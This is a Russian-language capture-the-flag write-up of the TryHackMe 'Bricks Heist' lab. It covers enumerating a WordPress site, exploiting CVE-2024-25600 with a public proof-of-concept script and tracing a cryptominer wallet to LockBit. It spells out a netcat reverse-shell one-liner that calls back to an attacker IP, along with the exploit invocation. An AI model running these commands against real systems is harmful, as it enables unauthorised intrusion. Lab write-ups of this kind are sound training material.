June 5, 2025

TryHACK3M: Bricks Heist

https://tryhackme.com/room/tryhack3mbricksheist

Crack the code, command the exploit! Dive into the heart of the system with just an RCE CVE as your key.

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ

Всех приветствую, это райт-ап (write-up) лёгкой машины на THM "Bricks Heist".

Подключимся по OpenVPN
Добавим айпишник и хост в /etc/hosts

echo "10.XX.XX.XX bricks.thm" | sudo tee -a /etc/hosts

Запустим nmap-скан

sudo nmap -sS -sC -sV -T4 -vv 10.XX.XX.XX```

Внизу также есть MySQL, но он не понадобился. Стоит пока обратить внимание на директорию /wp-admin/. Попробуем открыть сам сайт по http протоколу, но столкнёмся с ошибкой

Попробуем перейти по httpS, SSL недействительный. Но сайт хотя бы грузится, но внутри будет только стена. Воспользуемся gobuster, чтобы прошелестить директории, воспользуемся списком directory-list-2.3-medium.txt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://bricks.thm

Но выйдет ошибка, говорящая о недействительном SSL. Найдём соответствующий аргумент с помощью --help и grep

gobuster dir --help | grep "tls"

Найдём аргумент -k, который нам поможет запустить скан директорий.

Натыкаемся снова на директории от WordPress (wp-content, admin). Становится ясно, куда копать дальше - расчехляем wpscan. Опять сталкиваемся с проблемами с ssl, повторяем действия

wpscan --help | grep tls

Запустили скан и видим тему "bricks". Вспоминаем название задания, что является подсказкой и идём копать глубже.

Нехитрым запросом в гугле находим саму CVE и PoC к ней.

https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT - воспользуемся этим скриптом.

Клонируем репозиторий, входим в директорию и запускаем
git clone https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT
cd CVE-2024-25600-EXPLOIT
python CVE-2024-25600.py

Но мы столкнёмся с проблемой: ModuleNotFoundError: No module named 'alive_progress'. Как я её решил (конечно, не очень правильно)

nano CVE-2024-25600.py

Я просто закомментировал 13 строку, которая мешает работе скрипта. Сохранил (Ctrl + O, Enter, Ctrl + X)

И скрипт заработал! Чтобы совершить атаку пишем:

python CVE-2024-25600.py -u https://bricks.thm

Пара секунд и мы в шелле! Чтобы сделать всё надёжнее сделаем уже reverse shell. Воспользуемся генератором revshells.com. Настроим его под себя:

В разделе IP & PORT ставим айпишник, который нам выдаст команда

ifconfig

Нас интересует интерфейс tun0, читаем параметр inet и записываем значение айпи в генератор. Так же его можно увидеть в правом верхнем углу.

Чтобы слушать порт мы вводим в кали команду (откройте новый терминал):

nc -nvlp PORT

Выбираете порт, которым будете пользоваться для прослушивания, в моём случае 1337.

И как видно на скрине, я воспользовался payload'ом 'nc mkinfo', он работает безотказно. Пишем сгенерированную команду в строку Shell >

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.21.199.107 1337 >/tmp/f

И вуаля, на другом терминале у вас открылась копия командной строки (это нужно для того, что эксплойт может прерваться, что вам помешает).

Когда мы уже в системе напишем ls и увидим список файлов, первый будет подозрительный .txt'шник. Прочитаем его с помощью команды cat и получим наш первый флаг!

cat 650c844110baced87e1606453b93f22a.txt

Чтобы получить второй воспользуемся командой

systemctl | grep running

Обнаружим, что есть какой-то странный процесс ubuntu.service, его выдаёт подпись TRYHACK3M. Изучим его глубже:

systemctl status ubuntu.service

Увидим какой-то nm-inet-dialog, этот процесс и есть подозрительный, так что это будет наш второй флаг.

Третий флаг уже ясен, это ubuntu.service.

Перейдём в директорию /lib/NetworkManager/nm-inet-dialog и узнаем содержимое с помощью ls

cd /lib/NetworkManager/nm-inet-dialog
ls

Там будет inet.conf, прочитаем его содержание и увидим, что это и есть логи майнера, которые нам надо было найти.

cat inet.conf

Так же мы можем прочитать ID: ..., закинем его в CyberChef и попробуем расшифровать.

Казалось бы, вот наш ключ, но он неправильный. Из-за формата текст дублируется дважды, так что мы его отсекаем до момента, когда он повторится.

Это наш 4-ый флаг: bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

А теперь применим навыки OSINT, поищем владельца кошелька. Нас ведёт на blockchain.com: https://www.blockchain.com/explorer/addresses/btc/bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

Откроем транзакцию на 3.85799... BTC. Поищем в интернете этот адрес и наткнёмся на сводку от государства: https://ofac.treasury.gov/recent-actions/20240220. В ней уже можно прочитать о какой группировке идёт речь, это LockBit, что является нашим 5-ым флагом!

МАТЕРИАЛ БЫЛ ПОДГОТОВЛЕН @MIZ0RU ДЛЯ ФОРУМА @FORUMZERODAY ПРОСЬБА ПОДПИСАТЬСЯ